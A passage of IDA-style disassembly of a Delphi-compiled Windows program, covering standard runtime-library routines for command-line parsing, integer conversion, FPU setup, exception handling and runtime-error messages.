		mov	eax, ebx
		call	sub_1359C
		jmp	short loc_12AC4
; ---------------------------------------------------------------------------


loc_12AA3:				; CODE XREF: sub_12A6C+15j
		call	GetCommandLineA	; GetCommandLineA
		mov	[esp+114h+var_114], eax


loc_12AAB:				; CODE XREF: sub_12A6C+56j
		mov	edx, ebx
		mov	eax, [esp+114h+var_114]
		call	sub_12908
		mov	[esp+114h+var_114], eax
		test	esi, esi
		jz	short loc_12AC4
		cmp	dword ptr [ebx], 0
		jz	short loc_12AC4
		dec	esi
		jmp	short loc_12AAB
; ---------------------------------------------------------------------------


loc_12AC4:				; CODE XREF: sub_12A6C+35j
					; sub_12A6C+4Ej ...
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_12A6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_12AD0	proc near		; CODE XREF: sub_13878+1Ep
					; sub_13878+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_12B0F
		cmp	ax, 0D7B3h
		ja	short loc_12B0F
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_12AF7
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_12AF7:				; CODE XREF: sub_12AD0+1Ej
		test	esi, esi
		jnz	short loc_12B02
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_12B02:				; CODE XREF: sub_12AD0+29j
		test	esi, esi
		jz	short loc_12B21
		mov	eax, esi
		call	sub_128B8
		jmp	short loc_12B21
; ---------------------------------------------------------------------------


loc_12B0F:				; CODE XREF: sub_12AD0+Ej
					; sub_12AD0+14j
		cmp	ebx, offset dword_17038
		jz	short loc_12B21
		mov	eax, 67h
		call	sub_128B8


loc_12B21:				; CODE XREF: sub_12AD0+34j
					; sub_12AD0+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_12AD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12B28	proc near		; CODE XREF: sub_13C48+11p
					; sub_14990+97p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_12B45
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_12B45:				; CODE XREF: sub_12B28+12j
		pop	edi
		retn
sub_12B28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12B48	proc near		; CODE XREF: sub_13804+41p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_12BBE
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_12B5B:				; CODE XREF: sub_12B48+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_12B5B
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_12BCC
		cmp	bl, 2Bh
		jz	short loc_12BCE


loc_12B6F:				; CODE XREF: sub_12B48+89j
		cmp	bl, 24h
		jz	short loc_12BD3
		cmp	bl, 78h
		jz	short loc_12BD3
		cmp	bl, 58h
		jz	short loc_12BD3
		cmp	bl, 30h
		jnz	short loc_12B96
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_12BD3
		cmp	bl, 58h
		jz	short loc_12BD3
		test	bl, bl
		jz	short loc_12BB4
		jmp	short loc_12B9A
; ---------------------------------------------------------------------------


loc_12B96:				; CODE XREF: sub_12B48+39j
		test	bl, bl
		jz	short loc_12BC7


loc_12B9A:				; CODE XREF: sub_12B48+4Cj
					; sub_12B48+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_12BC7
		cmp	eax, edi
		ja	short loc_12BC7
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_12B9A


loc_12BB4:				; CODE XREF: sub_12B48+4Aj
		dec	ch
		jz	short loc_12BC1
		test	eax, eax
		jge	short loc_12C10
		jmp	short loc_12BC7
; ---------------------------------------------------------------------------


loc_12BBE:				; CODE XREF: sub_12B48+8j
					; sub_12B48+95j
		inc	esi
		jmp	short loc_12BC7
; ---------------------------------------------------------------------------


loc_12BC1:				; CODE XREF: sub_12B48+6Ej
		neg	eax
		jle	short loc_12C10
		js	short loc_12C10


loc_12BC7:				; CODE XREF: sub_12B48+50j
					; sub_12B48+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_12C13
; ---------------------------------------------------------------------------


loc_12BCC:				; CODE XREF: sub_12B48+20j
		inc	ch


loc_12BCE:				; CODE XREF: sub_12B48+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_12B6F
; ---------------------------------------------------------------------------


loc_12BD3:				; CODE XREF: sub_12B48+2Aj
					; sub_12B48+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_12BBE


loc_12BDF:				; CODE XREF: sub_12B48+C0j
		cmp	bl, 61h
		jb	short loc_12BE7
		sub	bl, 20h


loc_12BE7:				; CODE XREF: sub_12B48+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_12BFA
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_12BC7
		add	bl, 0Ah


loc_12BFA:				; CODE XREF: sub_12B48+A5j
		cmp	eax, edi
		ja	short loc_12BC7
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_12BDF
		dec	ch
		jnz	short loc_12C10
		neg	eax


loc_12C10:				; CODE XREF: sub_12B48+72j
					; sub_12B48+7Bj ...
		pop	ecx
		xor	esi, esi


loc_12C13:				; CODE XREF: sub_12B48+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_12B48	endp

; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetKeyboardType. PRESS KEYPAD "+"	TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12C24	proc near		; CODE XREF: sub_138CC+39p
		push	ebx
		xor	ebx, ebx
		push	0		; nTypeFlag
		call	GetKeyboardType	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_12C4F
		push	1		; nTypeFlag
		call	GetKeyboardType	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_12C4D
		cmp	eax, 400h
		jnz	short loc_12C4F


loc_12C4D:				; CODE XREF: sub_12C24+20j
		mov	bl, 1


loc_12C4F:				; CODE XREF: sub_12C24+Dj
					; sub_12C24+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_12C24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_12C54	proc near		; CODE XREF: sub_138CC+42p

cbData		= dword	ptr -0Ch
Data		= byte ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_1600C
		mov	dword ptr [ebp+Data], eax
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	1		; samDesired
		push	0		; ulOptions
		push	offset SubKey	; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h	; hKey
		call	RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_12CCC
		xor	eax, eax
		push	ebp
		push	offset loc_12CC5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+cbData], 4
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	offset ValueName ; "FPUMaskValue"
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegQueryValueExA	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_12CCC


loc_12CBB:				; CODE XREF: sub_12C54+76j
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	RegCloseKey	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_12CC5:				; DATA XREF: sub_12C54+2Eo
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_12CBB
; ---------------------------------------------------------------------------


loc_12CCC:				; CODE XREF: sub_12C54+29j
					; sub_12C54+70j
					; DATA XREF: ...
		mov	ax, ds:word_1600C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+Data]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_1600C, ax
		mov	esp, ebp
		pop	ebp
		retn
sub_12C54	endp

; ---------------------------------------------------------------------------
		align 4
; char SubKey[]
SubKey		db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_12C54+18o
; char ValueName[]
ValueName	db 'FPUMaskValue',0     ; DATA XREF: sub_12C54+4Co
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12D18	proc near		; CODE XREF: sub_131A8-368p
					; CODE:000130EEp ...
		fninit
		wait
		fldcw	ds:word_1600C
		retn
sub_12D18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12D24	proc near		; CODE XREF: CODE:00012F3Fj
					; sub_12F84+30p ...
		test	eax, eax
		jz	short locret_12D2F
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_12D2F:				; CODE XREF: sub_12D24+2j
		retn
sub_12D24	endp


; =============== S U B	R O U T	I N E =======================================



sub_12D30	proc near		; CODE XREF: sub_12F84+35p
		cmp	ds:byte_16010, 1
		jbe	short locret_12D4A
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:dword_17010

locret_12D4A:				; CODE XREF: sub_12D30+7j
		retn
sub_12D30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12D4C	proc near		; CODE XREF: sub_131A8-33Bp
		cmp	ds:byte_16010, 0
		jz	short locret_12D6C
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:dword_17010
		add	esp, 8
		pop	eax

locret_12D6C:				; CODE XREF: sub_12D4C+7j
		retn
sub_12D4C	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_12D88


loc_12D70:				; CODE XREF: sub_12D88+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:dword_17010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_12D88
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12D88	proc near		; CODE XREF: sub_131A8-28Bp

; FUNCTION CHUNK AT 00012D70 SIZE 00000015 BYTES

		cmp	ds:byte_16010, 1
		jbe	short locret_12D98
		push	eax
		push	ebx
		jmp	loc_12D70
; ---------------------------------------------------------------------------

locret_12D98:				; CODE XREF: sub_12D88+7j
		retn
sub_12D88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12D9C	proc near		; CODE XREF: sub_12DBC+Cp
		test	ecx, ecx
		jz	short locret_12DB9
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_12DB4
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_12DB9
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_12DB7
; ---------------------------------------------------------------------------


loc_12DB4:				; CODE XREF: sub_12D9C+Aj
		add	ecx, 5


loc_12DB7:				; CODE XREF: sub_12D9C+16j
		add	ecx, eax

locret_12DB9:				; CODE XREF: sub_12D9C+2j sub_12D9C+Fj
		retn
sub_12D9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12DBC	proc near		; CODE XREF: sub_11904+166Dp
		cmp	ds:byte_16010, 1
		jbe	short locret_12DE2
		push	eax
		push	edx
		push	ecx
		call	sub_12D9C
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:dword_17010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_12DE2:				; CODE XREF: sub_12DBC+7j
		retn
sub_12DBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12DE4	proc near		; CODE XREF: sub_12FD8+28p
		cmp	ds:byte_16010, 1
		jbe	short locret_12DFF
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:dword_17010
		pop	edx

locret_12DFF:				; CODE XREF: sub_12DE4+7j
		retn
sub_12DE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_12E00	proc near		; CODE XREF: CODE:loc_13135p
		push	eax
		push	edx
		cmp	ds:byte_16010, 1
		jbe	short loc_12E1B
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:dword_17010


loc_12E1B:				; CODE XREF: sub_12E00+9j
		pop	edx
		pop	eax
		retn
sub_12E00	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_131A8


loc_12E20:				; CODE XREF: sub_131A8:loc_131FDj
					; sub_13218:loc_1326Dj	...
		mov	eax, [esp-4+ExceptionInfo.ExceptionRecord]
		test	dword ptr [eax+4], 6
		jnz	loc_12F44
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_12EAD
		cld
		call	sub_12D18
		mov	edx, ds:dword_1700C
		test	edx, edx
		jz	loc_12F44
		call	edx ; dword_1700C
		test	eax, eax
		jz	loc_12F44
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+ExceptionInfo.ExceptionRecord]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_12EA4
		call	sub_12D4C
		cmp	ds:byte_16014, 0
		jbe	short loc_12EA4
		cmp	ds:byte_16010, 0
		ja	short loc_12EA4
		lea	ecx, [esp-4+ExceptionInfo]
		push	eax
		push	ecx		; ExceptionInfo
		call	UnhandledExceptionFilter	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_12F44
		mov	edx, eax
		mov	eax, [esp-4+ExceptionInfo.ExceptionRecord]
		mov	ecx, [eax+0Ch]
		jmp	short loc_12ED4
; ---------------------------------------------------------------------------


loc_12EA4:				; CODE XREF: sub_131A8-33Dj
					; sub_131A8-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+ExceptionInfo.ExceptionRecord]
		mov	ecx, [eax+0Ch]


loc_12EAD:				; CODE XREF: sub_131A8-36Bj
		cmp	ds:byte_16014, 1
		jbe	short loc_12ED4
		cmp	ds:byte_16010, 0
		ja	short loc_12ED4
		push	eax
		lea	eax, [esp+ExceptionInfo]
		push	edx
		push	ecx
		push	eax		; ExceptionInfo
		call	UnhandledExceptionFilter	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_12F44


loc_12ED4:				; CODE XREF: sub_131A8-306j
					; sub_131A8-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+1Ch+ExceptionInfo.ContextRecord]
		push	0
		push	eax
		push	offset loc_12EF8
		push	edx
		call	ds:dword_17014


loc_12EF8:				; DATA XREF: sub_131A8-2BCo
		mov	edi, [esp+2Ch+var_4]
		call	sub_13A18
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_12F24
		add	ebx, 5
		call	sub_12D88
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_131A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_12F24	proc near		; DATA XREF: sub_131A8-295o
		jmp	loc_12F4C
sub_12F24	endp

; ---------------------------------------------------------------------------
		call	sub_13A18
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_12D24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_131A8


loc_12F44:				; CODE XREF: sub_131A8-37Dj
					; sub_131A8-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_131A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_11904


loc_12F4C:				; CODE XREF: sub_11904:loc_119CCj
					; sub_119DC:loc_11AD0j	...
		mov	eax, [esp+4]
		mov	edx, [esp+8]
		test	dword ptr [eax+4], 6
		jz	short loc_12F7C
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_12F7C
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_12DBC
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_12F7C:				; CODE XREF: sub_11904+1657j
					; DATA XREF: sub_11904+165Co
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_11904
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12F84	proc near		; CODE XREF: sub_131A8+5Fp
					; sub_13218+5Fp

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_12FCF
		call	sub_13A18
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_12FBE
		mov	eax, [edx+8]
		call	sub_12D24
		call	sub_12D30


loc_12FBE:				; CODE XREF: sub_12F84+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_12FCF:				; DATA XREF: sub_12F84+4o
		mov	eax, 1
		retn
sub_12F84	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_12FD8	proc near		; CODE XREF: sub_131A8+64p
					; sub_13218+64p ...

arg_2C		= dword	ptr  30h

		call	sub_13A18
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_12D24
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_12DE4
		jmp	edx
sub_12FD8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_13008	proc near		; CODE XREF: sub_12160+10Cp
					; sub_12160+16Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_13008	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_13020:				; CODE XREF: CODE:00013120j
					; CODE:0001312Cj
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_1305B
		jz	short loc_1308D
		cmp	eax, 0C000008Eh
		jg	short loc_1304D
		jz	short loc_13091
		sub	eax, 0C0000005h
		jz	short loc_1309D
		sub	eax, 87h
		jz	short loc_13085
		dec	eax
		jz	short loc_13099
		jmp	short loc_130AD
; ---------------------------------------------------------------------------


loc_1304D:				; CODE XREF: CODE:00013036j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_1308D
		jz	short loc_13089
		jmp	short loc_130AD
; ---------------------------------------------------------------------------


loc_1305B:				; CODE XREF: CODE:0001302Dj
		cmp	eax, 0C0000096h
		jg	short loc_13073
		jz	short loc_130A1
		sub	eax, 0C0000093h
		jz	short loc_13099
		dec	eax
		jz	short loc_13081
		dec	eax
		jz	short loc_13095
		jmp	short loc_130AD
; ---------------------------------------------------------------------------


loc_13073:				; CODE XREF: CODE:00013060j
		sub	eax, 0C00000FDh
		jz	short loc_130A9
		sub	eax, 3Dh
		jz	short loc_130A5
		jmp	short loc_130AD
; ---------------------------------------------------------------------------


loc_13081:				; CODE XREF: CODE:0001306Cj
		mov	al, 0C8h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_13085:				; CODE XREF: CODE:00013046j
		mov	al, 0C9h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_13089:				; CODE XREF: CODE:00013057j
		mov	al, 0CDh
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_1308D:				; CODE XREF: CODE:0001302Fj
					; CODE:00013055j
		mov	al, 0CFh
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_13091:				; CODE XREF: CODE:00013038j
		mov	al, 0C8h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_13095:				; CODE XREF: CODE:0001306Fj
		mov	al, 0D7h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_13099:				; CODE XREF: CODE:00013049j
					; CODE:00013069j
		mov	al, 0CEh
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_1309D:				; CODE XREF: CODE:0001303Fj
		mov	al, 0D8h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_130A1:				; CODE XREF: CODE:00013062j
		mov	al, 0DAh
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_130A5:				; CODE XREF: CODE:0001307Dj
		mov	al, 0D9h
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_130A9:				; CODE XREF: CODE:00013078j
		mov	al, 0CAh
		jmp	short loc_130AF
; ---------------------------------------------------------------------------


loc_130AD:				; CODE XREF: CODE:0001304Bj
					; CODE:00013059j ...
		mov	al, 0FFh


loc_130AF:				; CODE XREF: CODE:00013083j
					; CODE:00013087j ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_12854
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_130C0:				; DATA XREF: sub_13160+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_1315A
		cmp	ds:byte_16010, 0
		ja	short loc_130E9
		lea	eax, [esp+4]
		push	eax
		call	UnhandledExceptionFilter	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_1315A


loc_130E9:				; CODE XREF: CODE:000130D8j
		mov	eax, [esp+4]
		cld
		call	sub_12D18
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_13106
		push	edx
		call	ds:dword_17014


loc_13106:				; DATA XREF: CODE:000130FAo
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_13135
		mov	edx, ds:dword_1700C
		test	edx, edx
		jz	loc_13020
		mov	eax, ebx
		call	edx ; dword_1700C
		test	eax, eax
		jz	loc_13020
		mov	edx, [ebx+0Ch]


loc_13135:				; CODE XREF: CODE:00013116j
		call	sub_12E00
		mov	ecx, ds:dword_17004
		test	ecx, ecx
		jz	short loc_13146
		call	ecx ; dword_17004


loc_13146:				; CODE XREF: CODE:00013142j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_134CC
; ---------------------------------------------------------------------------


loc_1315A:				; CODE XREF: CODE:000130CBj
					; CODE:000130E7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13160	proc near		; CODE XREF: sub_13288+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_130C0
		mov	[eax+8], ebp
		mov	ds:dword_17624,	eax
		retn
sub_13160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13180	proc near		; CODE XREF: sub_133E0:loc_13470p
		xor	edx, edx
		mov	eax, ds:dword_17624
		test	eax, eax
		jz	short locret_131A7
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_1319A
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_13198:				; CODE XREF: sub_13180+21j
		mov	ecx, [ecx]


loc_1319A:				; CODE XREF: sub_13180+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_131A7
		cmp	[ecx], eax
		jnz	short loc_13198
		mov	eax, [eax]
		mov	[ecx], eax

locret_131A7:				; CODE XREF: sub_13180+9j
					; sub_13180+1Dj
		retn
sub_13180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_131A8(struct _EXCEPTION_POINTERS ExceptionInfo, int)

sub_131A8	proc near		; CODE XREF: sub_131A8+5Ap
					; sub_13218+5Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
ExceptionInfo	= _EXCEPTION_POINTERS ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00012E20 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00012F44 SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_17620
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_13211
		mov	ebx, [esi+0Ch]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_131FD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_131F3


loc_131D8:				; CODE XREF: sub_131A8+49j
		dec	ebx
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8+4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_131EF
		call	[ebp+var_8]


loc_131EF:				; CODE XREF: sub_131A8+42j
		test	ebx, ebx
		jg	short loc_131D8


loc_131F3:				; CODE XREF: sub_131A8+2Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_13211
; ---------------------------------------------------------------------------


loc_131FD:				; DATA XREF: sub_131A8+21o
		jmp	loc_12E20
; ---------------------------------------------------------------------------
		call	sub_131A8
		call	sub_12F84
		call	sub_12FD8


loc_13211:				; CODE XREF: sub_131A8+13j
					; sub_131A8+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_131A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13218	proc near		; CODE XREF: sub_13288+3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_17620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_13281
		mov	esi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_1326D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jle	short loc_13263


loc_13249:				; CODE XREF: sub_13218+49j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8]
		mov	[ebp+var_8], eax
		inc	ebx
		mov	[edi+0Ch], ebx
		cmp	[ebp+var_8], 0
		jz	short loc_1325F
		call	[ebp+var_8]


loc_1325F:				; CODE XREF: sub_13218+42j
		cmp	esi, ebx
		jg	short loc_13249


loc_13263:				; CODE XREF: sub_13218+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_13281
; ---------------------------------------------------------------------------


loc_1326D:				; DATA XREF: sub_13218+22o
		jmp	loc_12E20
; ---------------------------------------------------------------------------
		call	sub_131A8
		call	sub_12F84
		call	sub_12FD8


loc_13281:				; CODE XREF: sub_13218+13j
					; sub_13218+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_13218	endp


; =============== S U B	R O U T	I N E =======================================



sub_13288	proc near		; CODE XREF: sub_13A64+3Ap
		mov	ds:dword_17010,	offset RaiseException
		mov	ds:dword_17014,	offset RtlUnwind
		mov	ds:dword_17628,	eax
		xor	eax, eax
		mov	ds:dword_1762C,	eax
		mov	ds:dword_17630,	edx
		mov	eax, [edx+4]
		mov	ds:dword_1701C,	eax
		call	sub_13160
		mov	ds:byte_17024, 0
		call	sub_13218
		retn
sub_13288	endp


; =============== S U B	R O U T	I N E =======================================



sub_132C8	proc near		; CODE XREF: sub_133E0+34p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset Text ; "Runtime error     at 00000000"
		mov	cl, 10h
		mov	ebx, ds:uExitCode


loc_132D8:				; CODE XREF: sub_132C8+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
